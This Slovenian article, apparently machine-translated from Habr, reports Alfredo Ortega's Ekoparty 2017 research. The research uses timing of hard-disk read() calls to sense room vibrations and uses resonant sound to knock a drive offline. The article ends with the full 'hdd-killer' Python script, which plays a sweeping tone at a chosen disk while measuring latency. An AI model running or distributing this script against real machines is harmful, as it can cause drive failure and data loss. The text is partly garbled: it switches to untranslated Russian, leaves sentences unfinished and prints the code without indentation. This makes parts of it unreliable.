
Na konferenci o računalniški varnosti Ekoparty 2017 v Buenos Airesu je argentinski heker Alfredo Ortega pokazal zelo zanimiv razvoj - sistem za prikrito prisluškovanje prostorom brez uporabe mikrofona. Zvok !
HDD zajame predvsem visoko intenzivne nizkofrekvenčne zvoke, korake in druge tresljaje. Človeškega govora še ni mogoče prepoznati, čeprav znanstveniki (prepoznavanje govora z nizkofrekvenčnimi tresljaji, ki so posneti npr. iz žiroskopa ali trdega diska).
Zvok je nihanje zraka ali drugega medija. Človek jih zazna skozi bobnič, ki prenaša tresljaje v notranje uho. Mikrofon je zasnovan približno tako kot uho - tudi tu tresljaje beleži tanka membrana, ki vzbuja električni impulz. Trdi disk je seveda podvržen tudi mikroskopskim tresljajem zaradi nihanj okoliškega zraka. To je znano tudi iz tehničnih značilnosti trdih diskov: proizvajalci običajno navedejo največjo dovoljeno raven tresljajev, sam trdi disk pa pogosto poskuša postaviti v protitresljajno posodo iz gume ali drugega izolacijskega materiala. Iz tega je enostavno sklepati, da je zvok mogoče posneti s trdim diskom. Vse, kar ostane, je ugotoviti, kako.
Alfredo Ortega je predlagal edinstveno različico stranskega napada, in sicer časovni napad. Ta napad temelji na predpostavki, da se različne operacije izvajajo na napravi ob različnih časih, odvisno od danih vhodnih podatkov. V tem primeru so »vhodni podatki« tresljaji bralne glave in HDD plošče, ki so v korelaciji z tresljaji okolja, torej z zvokom. Tako je mogoče z merjenjem časa izračuna in izvedbo statistične analize podatkov izmeriti vibracije glave/plošče in s tem vibracije medija. Daljši kot je zamik pri branju podatkov, močnejši so tresljaji trdega diska in posledično glasnejši zvok.
Kako izmeriti vibracije trdega diska? Zelo preprosto: samo zaženite sistemski klic read () — in zabeležite čas, potreben za dokončanje. Sodobni operacijski sistemi vam omogočajo branje časa sistemskih klicev z nanosekundno natančnostjo.
Hitrost branja informacij iz sektorja je odvisna od položaja glave in plošče, kar je v korelaciji z tresljaji ohišja HDD. To je vse.
Statistična analiza se izvaja s preprostim pripomočkom Kscope. Kot pravijo, je vse genialno preprosto.

Pripomoček Kscope (syscall stat())
Kscope je majhen pripomoček za vizualizacijo majhnih razlik v časih izvajanja sistemskih klicev. Vir.
V ločenem skladišču obstaja različica pripomočka, ki je konfiguriran za časovni napad na trdi disk, to je konfiguriran za analizo sistemskega klica read ().
Predstavitev snemanja zvoka s trdim diskom, delovanje pripomočka Kscope

Govora seveda ni mogoče razumeti na ta način, vendar je trdi disk povsem primeren kot senzor za vibracije. Registrirate lahko na primer, če je oseba v trdih čevljih ali bosa vstopila v prostor z računalnikom (verjetno, če je napadalec obut v mehke športne copate ali je na tleh debela preproga, HDD ne bo mogel registrirati vibracij - to je vredno preveriti). Računalnik lahko registrira razbito steklo ali druge incidente z močno jakostjo zvoka. To pomeni, da trdi disk lahko služi kot nekakšen sistem za zaznavanje nepooblaščenih vdorov.
HDD morilec
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

Core Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из z demonstracijo HDD killerja
Zanimivo je, da se takšni "napadi" na trde diske v vsakdanjem življenju včasih zgodijo povsem naključno. Septembra 2016 je bil na primer podatkovni center banke ING prisiljen prekiniti delovanje za 10 ur po požarni vaji. zaradi glasnega zvoka inertnega plina, ki se sprošča iz jeklenk pod visokim pritiskom. Zvok je bil zelo glasen (več kot 130 dB), vendar ne morete niti kričati na trde diske - to poveča zamudo pri dostopu do trdega diska.
Prikaz človeškega kričanja na trde diske v podatkovnem centru. Merjenje latence

Za ustvarjanje resonančnega zvoka je Alfredo Ortega napisal skript Python, imenovan ().
Je precej majhen, zato ga lahko v celoti objavite tukaj.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Vir: www.habr.com
